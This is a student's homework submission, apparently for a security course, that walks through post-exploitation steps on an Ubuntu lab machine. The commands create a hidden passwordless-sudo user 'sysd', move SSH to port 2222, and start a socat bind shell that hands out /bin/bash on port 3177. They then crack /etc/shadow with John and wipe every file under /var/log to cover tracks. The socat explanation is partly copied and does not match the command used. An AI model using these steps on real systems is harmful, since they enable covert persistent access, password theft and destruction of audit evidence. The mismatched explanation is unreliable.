**Submission for Unit 6 Advanced Bash Homework**

Create a secret user named sysd. Make sure this user doesn't have a home folder created.

* useradd sysd

Give your secret user a password.

* passwd sysd

Give your secret user a system UID < 1000.

* usermod -u 51 sysd

Give your secret user the same GID

* groupmod -g 51 sysd

Give your secret user full sudo access without the need for a password.

* sysd ALL=(ALL) NOPASSWD:ALL

Test that sudo access works without your password

* su sysd
* sudo visudo

**Allow ssh access over port 2222.**

* nano /etc/ssh/sshd\_config
* Port 2222

Note the IP address of this system:

* ifconfig

eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500

inet 172.17.104.137 netmask 255.255.255.240 broadcast 172.17.104.143

inet6 fe80::215:5dff:fe00:400 prefixlen 64 scopeid 0x20<link>

ether 00:15:5d:00:04:00 txqueuelen 1000 (Ethernet)

RX packets 7536 bytes 7845343 (7.8 MB)

RX errors 0 dropped 0 overruns 0 frame 0

TX packets 2066 bytes 305234 (305.2 KB)

TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

* Exit the root accout.
  + root@ubuntu-headless:/home/student# exit
  + exit
  + student:~\ $ logout
  + Connection to 172.17.104.137 closed.
* SSH to the machine using your sysd account and port 2222
  + ssh sysd@172.17.104.137 -p 2222
  + sysd@172.17.104.137's password:
  + Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-91-generic x86\_64)
* Use sudo to switch to the root user
  + $ su root
  + Password:
* YOUR SOLUTION COMMAND HERE

**Create a backdoor with socat**

* Install socat
* apt install socat
* Run Socat command in the background
* socat TCP4-Listen:3177,fork EXEC:/bin/bash &
* Explain each part of the socat command:
  + Socat is a command line based utility that establishes two bidirectional byte streams and transfers data between them. Because the streams can be constructed from a large set of different types of data sinks and sources (see address types), and because lots of address options may be applied to the streams, socat can be used for many different purposes.
  + OPENSSL-LISTEN:<port>Listens on tcp <port> [TCP service]. The IP version is 4 or the one specified with pf. When a connection is accepted, this address behaves as SSL server.
  + EXEC:/bin/myscript,chroot=/home/sandbox,su-d=sandbox,pty,stderr a simple server that accepts connections (TCP4-LISTEN) and fork’s a new child process for each connection; every child acts as single relay.
  + & run command in the background
* Exit the SSH session
  + root@ubuntu-headless:/home/student# exit
  + exit
  + student:~\ $ logout
  + Connection to 172.17.104.137 closed
* Test socat connection from your local machine
  + socat STDIO TCP4:172.17.104.137:3177
* Close the socat connection.
  + exit

**Crack *all* the passwords**

Ssh back to the system using your sysd account

* $ ssh sysd@172.17.104.137 -p 22
* sysd@172.17.104.137's password:
* Use John to crack the entire /etc/shadow file
  + root@ubuntu-headless:~# john /etc/shadow

**Cover your tracks**

* Use socat and a for loop to clear all system logs.
* for i in /var/log/\*; do >$i; done